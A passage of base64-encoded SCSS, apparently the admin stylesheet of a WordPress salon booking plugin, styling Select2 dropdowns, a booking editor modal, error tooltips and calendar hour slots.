HBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogMjZweDtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDEwMCU7XG4gICAgICAgICAgICAgICAgbGVmdDogaW5pdGlhbDtcbiAgICAgICAgICAgICAgICB0b3A6IDA7XG4gICAgICAgICAgICAgICAgcmlnaHQ6IDA7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZTRlNGU0O1xuICAgICAgICAgICAgICAgIGNvbG9yOiAkY2EtcmVkO1xuICAgICAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgICAgICAgICAgICAgICAmOmJlZm9yZSB7XG4gICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgICAgICAgICAgICBjb250ZW50OiBcInhcIjtcbiAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNnB4O1xuICAgICAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAgICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDMwcHg7XG4gICAgICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogJGNhLXJlZDtcbiAgICAgICAgICAgICAgICBjb2xvcjogJGNsX21haW4tLXdoaXRlO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfSovXG4gIC5zZWxlY3QyLWNvbnRhaW5lci0tc2xuLnNlbGVjdDItY29udGFpbmVyLS1mb2N1c1xuICAgIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuICAgIGJvcmRlcjogc29saWQgc2V0dGluZ3MtbWl4aW5zLiRjYS1ibHVlIDFweDtcbiAgICBvdXRsaW5lOiAwO1xuICB9XG4gIC5zZWxlY3QyLWNvbnRhaW5lci0tc2xuIC5zZWxlY3QyLXNlYXJjaC0taW5saW5lIC5zZWxlY3QyLXNlYXJjaF9fZmllbGQge1xuICAgIC13ZWJraXQtYm94LXNoYWRvdzogbm9uZTtcbiAgICBib3gtc2hhZG93OiBub25lO1xuICB9XG59XG4uc2VsZWN0Mi1jb250YWluZXItLXNsbi5zZWxlY3QyLWNvbnRhaW5lci0tZm9jdXMgLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZSxcbi5zZWxlY3QyLWNvbnRhaW5lci0tc2xuIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUsXG4uc2VsZWN0Mi1zZWFyY2gtLWRyb3Bkb3duIHtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAvKiBGSVggMDkyMDIzXG4gICAgJjpiZWZvcmUge1xuICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIHJpZ2h0OiAxMHB4O1xuICAgICAgICB0b3A6IGNhbGMoNTAlIC0gMTNweCk7XG4gICAgICAgIHdpZHRoOiAyNnB4O1xuICAgICAgICBoZWlnaHQ6IDI2cHg7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICBjb250ZW50OiBcIlxcZTAwM1wiO1xuICAgICAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAgICAgbGluZS1oZWlnaHQ6IDI2cHg7XG4gICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgICAgZm9udC1mYW1pbHk6IFwiR2x5cGhpY29ucyBIYWxmbGluZ3NcIjtcbiAgICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgICBjb2xvcjogIzMyMzczYztcbiAgICB9XG4gICAgKi9cbn1cbi8qIEZJWCAwOTIwMjNcbi5zZWxlY3QyLWNvbnRhaW5lci0tc2xuLnNlbGVjdDItY29udGFpbmVyLS1vcGVuIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuICAgICY6YmVmb3JlIHtcbiAgICAgICAgY29sb3I6ICNmZmY7XG4gICAgfVxufVxuKi9cbi5zZWxlY3QyLWNvbnRhaW5lci0tc2xuIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuICAvKiBGSVggMDkyMDIzXG4gICAgJjpiZWZvcmUge1xuICAgICAgICBjb2xvcjogIzMyMzczYztcbiAgICB9XG4gICAgKi9cbiAgJjpob3ZlciB7XG4gICAgJjpiZWZvcmUge1xuICAgICAgY29sb3I6ICNmZmY7XG4gICAgfVxuICB9XG59XG4vKiBGSVggMDkyMDIzXG4uc2xuLXNlbGVjdC5zbG4tc2VsZWN0Mi1zZWxlY3Rpb25fX3NlYXJjaC1wcmltYXJ5IC5zZWxlY3QyLXNlbGVjdGlvbl9fYXJyb3cge1xuICAgICY6YmVmb3JlIHtcbiAgICAgICAgY29udGVudDogXCJcXGYwMDJcIiAhaW1wb3J0YW50O1xuICAgIH1cbn1cbiovXG4uc2xuLXNlcnZpY2UtcHJpY2UtdGltZVxuICAuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsblxuICAuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlIHtcbiAgJjpmb2N1cyB7XG4gICAgb3V0bGluZTogbm9uZTtcbiAgfVxufVxuLnNsbi1zZXJ2aWNlLXByaWNlLXRpbWVcbiAgLnNlbGVjdDItY29udGFpbmVyLnNlbGVjdDItY29udGFpbmVyLS1zbG5cbiAgLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZTpmb2N1czpiZWZvcmUge1xuICBjb2xvcjogY29sb3IuYWRqdXN0KCNmZmYsICRhbHBoYTogLTAuNSk7XG59XG4uc2xuLXNlcnZpY2UtcHJpY2UtdGltZVxuICAuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsblxuICAuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlOmJlZm9yZSB7XG4gIHRvcDogMC41cmVtO1xufVxuLnNsbi1zZXJ2aWNlLXByaWNlLXRpbWVcbiAgLnNlbGVjdDItY29udGFpbmVyLnNlbGVjdDItY29udGFpbmVyLS1zbG5cbiAgLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZVxuICAuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcbiAgd2lkdGg6IGNhbGMoMTAwJSAtIDQwcHgpO1xuICAmOmZvY3VzIHtcbiAgICBvdXRsaW5lOiBub25lO1xuICB9XG59XG4uc2xuLXNlcnZpY2UtcHJpY2UtdGltZVxuICAuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsblxuICAuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlXG4gIC5zZWxlY3QyLXNlbGVjdGlvbl9fY2hvaWNlIHtcbiAgZGlzcGxheTogYmxvY2s7XG4gIHdpZHRoOiAxMDAlO1xuICB3aGl0ZS1zcGFjZTogbm9ybWFsO1xuICBsaW5lLWhlaWdodDogMS40O1xuICBwYWRkaW5nLXRvcDogMC40cmVtO1xuICBwYWRkaW5nLWJvdHRvbTogMC41cmVtO1xufVxuLnNlbGVjdDItY29udGFpbmVyLnNlbGVjdDItY29udGFpbmVyLS1zbG5cbiAgLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZVxuICAuc2VsZWN0Mi1zZWxlY3Rpb25fX2Nob2ljZV9fcmVtb3ZlIHtcbiAgd2lkdGg6IDE4cHg7XG4gIGhlaWdodDogMThweDtcbiAgcmlnaHQ6IDAuNXJlbTtcbiAgZm9udC1zaXplOiAxcHg7XG4gIHRleHQtaW5kZW50OiAtOTk5OTk5cHg7XG4gICY6OmJlZm9yZSxcbiAgJjo6YWZ0ZXIge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgIGNvbnRlbnQ6ICcnO1xuICAgIHdpZHRoOiAxMHB4O1xuICAgIGhlaWdodDogMnB4O1xuICAgIGJhY2tncm91bmQtY29sb3I6IGN1cnJlbnRDb2xvcjtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdG9wOiA4cHg7XG4gICAgbGVmdDogNHB4O1xuICB9XG4gICY6OmJlZm9yZSB7XG4gICAgLW1zLXRyYW5zZm9ybTogcm90YXRlKDQ1ZGVnKTtcbiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDQ1ZGVnKTtcbiAgICB0cmFuc2Zvcm06IHJvdGF0ZSg0NWRlZyk7XG4gIH1cbiAgJjo6YWZ0ZXIge1xuICAgIC1tcy10cmFuc2Zvcm06IHJvdGF0ZSgtNDVkZWcpO1xuICAgIC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoLTQ1ZGVnKTtcbiAgICB0cmFuc2Zvcm06IHJvdGF0ZSgtNDVkZWcpO1xuICB9XG59XG4vLyAvLy8gU0VMRUNUMiBPVkVSUklERVMgRU5EXG4udmVydGljYWwtdGFicyB7XG4gIEBleHRlbmQgJWZvbnQtbWVkaXVtO1xuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgIGxpIHtcbiAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgd2lkdGg6IDEwMCU7XG4gICAgfVxuICB9XG59XG5cbiN3cHdyYXAge1xuICBAZXh0ZW5kICV6aS16ZXJvO1xufVxuXG4vLyBBRE1JTiBDQUxFTkRBUiBNT0RBTCBTQ1JPTEwgRklYXG4jc2xuLWJvb2tpbmctZWRpdG9yLW1vZGFsIHtcbiAgbWFyZ2luLXRvcDogNjBweDtcbn1cbi5zbG4tYm9va2luZy1lZGl0b3ItLXdyYXBwZXItLXN1YiB7XG4gIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogMTAyNHB4KSB7XG4gICAgLXdlYmtpdC1vdmVyZmxvdy1zY3JvbGxpbmc6IHRvdWNoO1xuICAgIG92ZXJmbG93LXk6IHNjcm9sbDtcbiAgfVxuICAvL2hlaWdodDogMzYwcHg7XG59XG5AbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDc2OHB4KSBhbmQgKG9yaWVudGF0aW9uOiBwb3J0cmFpdCkge1xuICAvLyAuc2xuLWJvb2tpbmctZWRpdG9yLS13cmFwcGVyLS1zdWIge1xuICAvLyBcdC8vaGVpZ2h0OiA2MDBweDtcbiAgLy8gfVxufVxuQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA3NjhweCkgYW5kIChvcmllbnRhdGlvbjogbGFuZHNjYXBlKSB7XG4gIC8vIC5zbG4tYm9va2luZy1lZGl0b3ItLXdyYXBwZXItLXN1YiB7XG4gIC8vIFx0Ly9oZWlnaHQ6IDU0MHB4O1xuICAvLyB9XG59XG5AaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAvLyAuc2xuLWJvb2tpbmctZWRpdG9yLS13cmFwcGVyLS1zdWIge1xuICAvLyBcdC8vaGVpZ2h0OiA2MDBweDtcbiAgLy8gfVxufVxuQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA5OTJweCkge1xuICAjc2xuLWJvb2tpbmctZWRpdG9yLW1vZGFsIHtcbiAgICBtYXJnaW4tdG9wOiAxNXB4O1xuICB9XG59XG5cbi5zbG5fZXJyb3JfdGlwIHtcbiAgY29sb3I6ICNmZmY7XG4gIGZvbnQtc2l6ZTogMC44ZW07XG4gIG1heC13aWR0aDogMTUwcHg7XG4gIGJhY2tncm91bmQ6ICMzMzM7XG4gIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgYm9yZGVyLXJhZGl1czogM3B4O1xuICBwYWRkaW5nOiAwLjYxOGVtIDFlbTtcbiAgYm94LXNoYWRvdzogMCAxcHggM3B4IHJnYmEoMCwgMCwgMCwgMC4yKTtcblxuICBjb2RlIHtcbiAgICBwYWRkaW5nOiAxcHg7XG4gICAgYmFja2dyb3VuZDogIzg4ODtcbiAgfVxufVxuLnNsbl9lcnJvcl90aXAge1xuICBtYXgtd2lkdGg6IDIwZW07XG4gIGxpbmUtaGVpZ2h0OiAxLjhlbTtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICB3aGl0ZS1zcGFjZTogbm9ybWFsO1xuICBiYWNrZ3JvdW5kOiAjZDgyMjIzO1xuICBtYXJnaW46IDEuNWVtIDFweCAwIC0xZW07XG4gIHotaW5kZXg6IDk5OTk5OTk7XG5cbiAgJjo6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICcnO1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgIGJvcmRlcjogOHB4IHNvbGlkICNkODIyMjM7XG4gICAgYm9yZGVyLXJpZ2h0LWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICBib3JkZXItbGVmdC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgYm9yZGVyLXRvcC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogLTNweDtcbiAgICBsZWZ0OiA1MCU7XG4gICAgbWFyZ2luOiAtMWVtIDAgMCAtM3B4O1xuICB9XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluLFxuLnNsbi1jYWxlbmRhci0td3JhcHBlciB7XG4gICNjYWwtZGF5LWJveCAuY2FsLWRheS1ob3VyLXBhcnQge1xuICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICBoZWlnaHQ6IDEwMHB4O1xuICAgIC5zcGFuMSB7XG4gICAgICBwb3NpdGlvbjogc3RpY2t5O1xuICAgICAgbGVmdDogMDtcbiAgICAgIGxpbmUtaGVpZ2h0OiAxMDBweDtcbiAgICB9XG4gIH1cbiAgI2NhbC1kYXktYm94IC5kYXktaGlnaGxpZ2h0IHtcbiAgICBoZWlnaHQ6IDEwMHB4O1xuICAgIGxpbmUtaGVpZ2h0OiBhZG1pbl9jb25maWcuJGdyaWQtZ3V0dGVyLXdpZHRoICogMjtcbiAgfVxuICAjY2FsLWRheS1ib3ggLmNhbC1kYXktaG91ci1wYXJ0LmFjdGl2ZSB7XG4gICAgYm9yZGVyLWJvdHRvbTogNHB4IHNvbGlkXG4gICAgICBjb2xvci5hZGp1c3QoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1lbXBoYXNpcywgJGFscGhhOiAtMC41KTtcbiAgfVxuICAuZGF5LWV2ZW50LXBhbmVsLWJvcmRlcjpmaXJzdC1jaGlsZCB7XG4gICAgb3BhY2l0eTogMDtcbiAgfVxuICAuY2FsLWRheS1ob3VyLXBhcnRfX3Jvd2FjdGlvbnMge1xuICAgIHdpZHRoOiAyMDBweDtcbiAgICBoZWlnaHQ6IDEwMXB4O1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IDUwJTtcbiAgICBsZWZ0OiA4MnB4O1xuICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKDAsIC01MCUpO1xuICAgIGRpc3BsYXk6IGdyaWQ7XG4gICAgLy9ncmlkLXRlbXBsYXRlLWNvbHVtbnM6IGF1dG8gNjZweCA1MHB4O1xuICAgIC8vZ3JpZC10ZW1wbGF0ZS1yb3dzOiAxZnI7XG4gICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiA5MHB4IDIwcHggOTBweDtcbiAgICBncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG87XG4gICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgICAvL2JhY2tncm91bmQtY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC44KTtcbiAgICBidXR0b24sXG4gICAgLmNhbC1kYXktY2xpY2stdGlwIHtcbiAgICAgIHBvaW50ZXItZXZlbnRzOiBhdXRvO1xuICAgIH1cbiAgICAuc2xuLWJ0bi0tY2FsLWRheS0tYWRkIHtcbiAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgZ3JpZC1yb3c6IDE7XG4gICAgICBqdXN0aWZ5LXNlbGY6IGVuZDtcbiAgICB9XG4gICAgLnNsbi1idG4tLWNhbC1kYXktLWxvY2sge1xuICAgICAgZ3JpZC1jb2x1bW46IDM7XG4gICAgICBncmlkLXJvdzogMTtcbiAgICB9XG4gICAgLmNhbC1kYXktY2xpY2stdGlwIHtcbiAgICAgIGdyaWQtY29sdW1uOiAxIC8gc3BhbiAyO1xuICAgICAgZ3JpZC1yb3c6IDE7XG4gICAgICBqdXN0aWZ5LXNlbGY6IGVuZDtcbiAgICAgIG1hcmdpbi1yaWdodDogMDtcbiAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgdG9wOiA1MCU7XG4gICAgICAgIHJpZ2h0OiB1bnNldDtcbiAgICAgICAgYm90dG9tOiB1bnNldDtcbiAgICAgICAgbGVmdDogOHB4O1xuICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgwLCAtNTAlKSBzY2FsZSgxLjc1KTtcbiAgICAgICAgZGlzcGxheTogbm9uZTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgLnRvLXNlbGVjdCAuY2FsLWRheS1ob3VyLXBhcnRfX3Jvd2FjdGlvbnMge1xuICAgIC8vZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnI7XG4gICAgLy9ncmlkLXRlbXBsYXRlLXJvd3M6IDUwcHggNTBweDtcbiAgICAvLy5zbG4tYnRuLS1jYWwtZGF5LS1sb2NrIHtcbiAgICAvLyAgICBncmlkLWNvbHVtbjogMTtcbiAgICAvLyAgICBncmlkLXJvdzogMTtcbiAgICAvLyAgICBqdXN0aWZ5LXNlbGY6IGNlbnRlcjtcbiAgICAvLyAgICB0cmFuc2Zvcm06IHNjYWxlKDAuNzUpICFpbXBvcnRhbnQ7XG4gICAgLy99XG4gICAgLy8uY2FsLWRheS1jbGljay10aXAge1xuICAgIC8vICAgIGdyaWQtY29sdW1uOiAxO1xuICAgIC8vICAgIGdyaWQtcm93OiAyO1xuICAgIC8vfVxuICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogMjBweCAxMHB4IDFmcjtcbiAgICBncmlkLXRlbXBsYXRlLXJvd3M6IDFmcjtcbiAgICAuc2xuLWJ0bi0tY2FsLWRheS0tbG9jayB7XG4gICAgICBncmlkLWNvbHVtbjogMTtcbiAgICAgIGdyaWQtcm93OiAxO1xuICAgICAgdHJhbnNmb3JtOiBzY2FsZSgwLjc1KSAhaW1wb3J0YW50O1xuICAgICAgbWFyZ2luLWxlZnQ6IC0yMHB4O1xuICAgIH1cbiAgICAuY2FsLWRheS1jbGljay10aXAge1xuICAgICAgZ3JpZC1jb2x1bW46IDM7XG4gICAgICBncmlkLXJvdzogMTtcbiAgICB9XG4gIH1cbiAgLmNhbC1kYXktaG91ci1wYXJ0LmFjdGl2ZSxcbiAgLmNhbC1kYXktaG91ci1wYXJ0OmhvdmVyIHtcbiAgICAuY2FsLWRheS1ob3VyLXBhcnRfX3Jvd2FjdGlvbnMge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgfVxuICB9XG4gIC5jYWwtZGF5LWhvdXItcGFydCBbZGF0YS1hY3Rpb249J2FkZC1ldmVudC1ieS1kYXRlJ10sXG4gIC5jYWwtZGF5LWhvdXItcGFydC5hY3RpdmUgLmJsb2NrX2RhdGUge1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tbWFpbi0tbGlnaHQ7XG4gICAgd2lkdGg6IDNyZW07XG4gICAgaGVpZ2h0OiAzcmVtO1xuICAgIG1hcmdpbi1yaWdodDogMC4yZW07XG4gICAgLy9wb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgLy90b3A6IDUwJTtcbiAgICBtaW4td2lkdGg6IGFkbWluX2NvbmZpZy4kZ3JpZC1ndXR0ZXItd2lkdGggIWltcG9ydGFudDtcbiAgICBmb250LXNpemU6IDEycHg7XG4gICAgbGluZS1oZWlnaHQ6IDFlbTtcbiAgICBwYWRkaW5nOiAwO1xuICAgIGxlZnQ6IDEwMiU7XG4gICAgei1pbmRleDogOTk5O1xuXG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgIHRvcDogdW5zZXQ7XG4gICAgbGVmdDogdW5zZXQ7XG4gICAgcmlnaHQ6IHVuc2V0O1xuICAgIHRyYW5zZm9ybTogbm9uZTtcbiAgICAvLyAmOmhvdmVyIHtcbiAgICAvLyAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tbWFpbi0tbGlnaHRlcjtcbiAgICAvLyB9XG4gICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjdweCkge1xuICAgICAgLy8gICAgd2lkdGg6ICRncmlkLWd1dHRlci13aWR0aCo5LjY7XG4gICAgICAvLyAgICBsZWZ0OiAwO1xuICAgICAgLy8gICAgei1pbmRleDogOTk5O1xuICAgICAgLy8gICAgdHJhbnNmb3JtOiB0cmFuc2xhdGUoMCk7XG4gICAgfVxuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICAvL2xlZnQ6IGF1dG87XG4gICAgICAvL2xlZnQ6IGluaXRpYWw7XG4gICAgfVxuICB9XG4gIC5jYWwtZGF5LWhvdXItcGFydC5hY3RpdmUuc2VsZWN0ZWQgLmJsb2NrX2RhdGUsXG4gIC5hdHQtdGltZS1zbG90LmFjdGl2ZS5zZWxlY3RlZC50by1zZWxlY3QgLmJsb2NrX2RhdGUgIHtcbiAgICAmLnNsbi1pY29ub25seS1uZXcge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAmOjphZnRlciB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5jYWwtZGF5LWhvdXItcGFydC5hY3RpdmUgLmJsb2NrX2RhdGUge1xuICAgIG1hcmdpbi1yaWdodDogMDtcbiAgfVxuXG4gIC5jYWwtZGF5LWhvdXItcGFydCB7XG4gICAgdHJhbnNpdGlvbjogYWxsIDM1MG1zO1xuICAgIC5zbG4tYnRuLS1jYWwtZGF5LXNlbGVjdCB7XG4gICAgICAvLyBkaXNwbGF5OiBmbGV4O1xuICAgICAgLy8gZmxleC1kaXJlY3Rpb246IHJvdy1yZXZlcnNlO1xuICAgICAgLy8ganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAvLyBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgLy8gZ2FwOiAwLjZlbTtcbiAgICAgIC8vIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgIC8vIGhlaWdodDogNDBweDtcbiAgICAgIC8vIHdpZHRoOiAxNjBweDtcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgIHRvcDogNTAlO1xuICAgICAgbGVmdDogMTAwcHg7XG4gICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoMCk7XG4gICAgICBwYWRkaW5nOiAxZW0gMi41ZW07XG4gICAgICBib3JkZXItd2lkdGg6IDJweDtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tbWFpbi0tbGlnaHQ7XG4gICAgICBmb250LXNpemU6IDFyZW07XG4gICAgICBmb250LXdlaWdodDogNjAwO1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluO1xuICAgICAgbGV0dGVyLXNwYWNpbmc6IDAuMXJlbTtcbiAgICAgIG9wYWNpdHk6IDA7XG4gICAgfVxuICAgICYuc2xuLWJ0bi0taWNvbiB7XG4gICAgICAmOjphZnRlciB7XG4gICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgaW5zZXQ6IGF1dG87XG4gICAgICB9XG4gICAgfVxuICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAmOmhvdmVyIHtcbiAgICAgICAgLnNsbi1idG4tLWNhbC1kYXktc2VsZWN0IHtcbiAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTUwJSkgc2NhbGUoMS4xKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICAmOmhvdmVyIC5zbG4tYnRuLS1jYWwtZGF5LXNlbGVjdCB7XG4gICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTUwJSk7XG4gICAgICB2aXNpYmlsaXR5OiB2aXNpYmxlO1xuICAgICAgb3BhY2l0eTogMTtcbiAgICB9XG4gICAgICBcbiAgICAmLnRvLXNlbGVjdCB7XG4gICAgICAuc2xuLWJ0bi0tY2FsLWRheS1zZWxlY3Qge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfYmctLWxpZ2h0LTI7XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX3Byb2JsZW0tLWxpZ2h0O1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAuY2FsLWRheS1ob3VyLXBhcnQgLnNwYW4xLFxuICAuY2FsLWRheS1ob3VyLXBhcnQgLnNsbi1idG4tLWNhbC1kYXktc2VsZWN0IHtcbiAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgfVxuICAuY2FsLWRheS1ob3VyLXBhcnQgLnNsbi1idG4tLWNhbC1kYXktc2VsZWN0LFxuICAuY2FsLWRheS1ob3VyLXBhcnQuYWN0aXZlIC5zbG4tYnRuLS1jYWwtZGF5LXNlbGVjdCxcbiAgLmNhbC1kYXktaG91ci1wYXJ0LnNlbGVjdGVkIC5zbG4tYnRuLS1jYWwtZGF5LXNlbGVjdCxcbiAgLmNhbC1kYXktaG91ci1wYXJ0LmJsb2NrZWQgLnNsbi1idG4tLWNhbC1kYXktc2VsZWN0IHtcbiAgICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gIH1cbiAgI2NhbC1kYXktYm94ICNjYWwtZGF5LXBhbmVsIHtcbiAgICB3aWR0aDogOTAlO1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICB3aWR0aDogMTAwJTtcbiAgICB9XG4gIH1cbiAgLy8gVEFCTEUgSE9SSVpPTlRBTCBTQ1JPTEwgT04gTU9CSUxFXG4gIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogNzY3cHgpIHtcbiAgICAuY2FsLWRheS1wYW5lbF9fd3JhcHBlciB7XG4gICAgICBvdmVyZmxvdy15OiBhdXRvO1xuICAgICAgLyogRklYIDA5MjAyM3BhZGRpbmctdG9wOiAkZ3JpZC1ndXR0ZXItd2lkdGggKiAzOyAqL1xuICAgICAgcGFkZGluZy1ib3R0b206IDMwcHg7XG4gICAgICAjY2FsLWRheS1wYW5lbCB7XG4gICAgICAgIG1pbi13aWR0aDogNjIwcHg7XG4gICAgICB9XG4gICAgfVxuICAgIDo6LXdlYmtpdC1zY3JvbGxiYXIge1xuICAgICAgLXdlYmtpdC1hcHBlYXJhbmNlOiBub25lO1xuICAgIH1cblxuICAgIDo6LXdlYmtpdC1zY3JvbGxiYXI6aG9yaXpvbnRhbCB7XG4gICAgICBoZWlnaHQ6IDE4cHg7XG4gICAgfVxuXG4gICAgOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLW1lZGl1bTtcbiAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7XG4gICAgICBib3JkZXI6IDJweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgIH1cblxuICAgIDo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sge1xuICAgICAgYm9yZGVyLXJhZGl1czogMTBweDtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgfVxuICB9XG59XG4uY2FsLWRheS1ob3VyLXBhcnQuYWN0aXZlIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX2JnLS1tYWluLS1saWdodDtcbn1cblxuLmNhbC1kYXktaG91ci1wYXJ0LnNlbGVjdGVkLFxuLmNhbC1kYXktaG91ci1wYXJ0Lm9mZmhvdXJzLFxuLmNhbC1kYXktaG91ci1wYXJ0LnRvLXNlbGVjdDpob3ZlciB7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfcHJvYmxlbS0tbGlnaHQgIWltcG9ydGFudDtcbiAgdXNlci1zZWxlY3Q6IG5vbmU7XG4gIC1tb3otdXNlci1zZWxlY3Q6IG5vbmU7XG4gIC13ZWJraXQtdXNlci1zZWxlY3Q6IG5vbmU7XG4gIC1tcy11c2VyLXNlbGVjdDogbm9uZTtcbn1cb